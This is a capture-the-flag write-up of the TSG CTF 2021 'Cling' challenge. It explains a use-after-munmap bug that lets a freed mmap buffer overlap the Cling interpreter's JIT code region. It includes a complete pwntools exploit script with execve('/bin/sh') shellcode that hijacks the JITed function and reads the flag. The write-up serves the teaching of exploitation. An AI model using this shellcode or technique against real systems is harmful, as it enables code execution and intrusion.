# Cling (TSG CTF 2021 Writeup) This is a simple C++ program challenge, but there are two strange points: 1. The bug is Use After **Munmap** (not free) 2. It uses Cling for executing the source file. Cling is a C++ interpreter. You can download Cling and execute it like this: ``` user@33316c8b6817:~$ /cling/bin/cling ****************** CLING ****************** * Type C++ code and press enter to run it * * Type .q to exit * ******************************************* [cling]$ int x = 1 (int) 1 [cling]$ x = x + 2 (int) 3 [cling]$ int y = x * 3 (int) 9 ``` The challenge uses this interpreter to execute the given source code. The given program is a simple map-reduce program. There are the following functionalities implemented actually: 1. Create a buffer and read numbers (using mmap) 2. Change the buffer's access protection 3. Delete the buffer 4. Create a map function 5. Execute the map function The bug is easy: there is an use after munmap bug. ``` (omitted...) 1. create 2. protect 3. delete 4. set_map 5. run_map 6. set_reduce 7. run_reduce 8. show_result --------------- > 3 --------------- 1. create 2. protect 3. delete 4. set_map 5. run_map 6. set_reduce 7. run_reduce 8. show_result --------------- > 5 /cling/bin/cling(_ZN4llvm3sys15PrintStackTraceERNS_11raw_ostreamE+0x2e)[0x55cdeba8011e] /cling/bin/cling(_ZN4llvm3sys17RunSignalHandlersEv+0x46)[0x55cdeba7df56] /cling/bin/cling(+0xa250be)[0x55cdeba7e0be] /lib/x86_64-linux-gnu/libc.so.6(+0x46210)[0x7f6a7f397210] [0x7f6a7f3328a5] [0x7f6a7f3320c3] [0x7f6a7f332018] /cling/bin/cling(_ZNK5cling19IncrementalExecutor14executeWrapperEN4llvm9StringRefEPNS_5ValueE+0x344)[0x55cdeb9cf254] /cling/bin/cling(_ZN5cling11Interpreter11RunFunctionEPKN5clang12FunctionDeclEPNS_5ValueE+0x97)[0x55cdeb9e2487] /cling/bin/cling(_ZN5cling11Interpreter16EvaluateInternalERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEENS_18CompilationOptionsEPNS_5ValueEPPNS_11TransactionEm+0x1cd)[0x55cdeb9e3d8d] /cling/bin/cling(_ZN5cling11Interpreter7processERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEEPNS_5ValueEPPNS_11TransactionEb+0x159)[0x55cdeb9e40a9] /cling/bin/cling(_ZN5cling13MetaProcessor7processEN4llvm9StringRefERNS_11Interpreter17CompilationResultEPNS_5ValueEb+0x1fd)[0x55cdeba30eed] /cling/bin/cling(_ZN5cling13UserInterface16runInteractivelyEb+0x22d)[0x55cdebaac2ed] /cling/bin/cling(main+0x55d)[0x55cdeb8a860d] /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf3)[0x7f6a7f3780b3] /cling/bin/cling(_start+0x2e)[0x55cdeb91b8fe] Stack dump: 0. Program arguments: /cling/bin/cling --nologo timeout: the monitored command dumped core Segmentation fault ``` The key idea of this challenge is that we can overwrap the buffer we allocated before and the buffer Cling interpreter uses for JIT compile. Cling is compiling each function before it actually runs. So, when you create a function and run it after you create and delete a buffer, your allocated buffer and the code region that Cling allocates for a machine code to which compiled just in time will overwrap each other. So, finally you have to do is to send your favorite shellcode to the server, and overwrite the JITed buffer by using overwrapped mmap buffer. ## PoC ```python from __future__ import division, print_function import random from pwn import * import argparse import time import sys context.log_level = 'error' is_gaibu = True log = False host = sys.argv[1] port = int(sys.argv[2]) def wait_for_attach(): if not is_gaibu: print('attach?') raw_input() def just_u64(x): return u64(x.ljust(8, b'\x00')) r = remote(host, port) def recvuntil(x, verbose=True): s = r.recvuntil(x) if log and verbose: print(s) return s.strip(x) def recv(n, verbose=True): s = r.recv(n) if log and verbose: print(s) return s def recvline(verbose=True): s = r.recvline() if log and verbose: print(s) return s.strip(b'\n') def sendline(s, verbose=True): if log and verbose: pass #print(s) r.sendline(s) def send(s, verbose=True): if log and verbose: print(s, end='') r.send(s) def interactive(): r.interactive() #################################### def menu(choice): recvuntil(b':') sendline(str(choice)) # receive and send def rs(s, new_line=True, r=b'>'): recvuntil(r) if new_line: sendline(s) else: send(s) shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" values = [] for i in range(0, len(shellcode), 8): values.append(just_u64(shellcode[i:i+8])) print(len(values)) s4 = 0xffffff5be9 # jmp -0xa0 s3 = f"x/72057594037927936-63?{s4}:{values[3]}" s2 = f"x*0x1000000/72057594037927936-191?{s3}:{values[2]}" s1 = f"x/72057594037927936-72?{s2}:{values[1]}" s0 = f"x/72057594037927936-64?{s1}:{values[0]}"; numbers = [x for x in range(100)] # create rs(b"1") rs(str(len(numbers)).encode("ascii")) for x in numbers: sendline(str(x).encode("ascii")) # delete rs(b"3") # set_map rs(b"4") #x = f"x?{x}:3735928559" def f(idx): if len(values) <= idx: return str(x) value = values[idx] s = f(idx + 1) return f"x-{value}?{s}:{idx}" x = s0 print(x) rs(x.encode("ascii")) # protect rs(b"2") rs(b"y") rs(b"y") rs(b"y") rs(b"5") sendline(b"cat /home/user/flag-26dec3e0f05adecded30266312a10975") s = recvline() print(s) if b"TSGCTF" in s: exit(0) else: exit(1) ```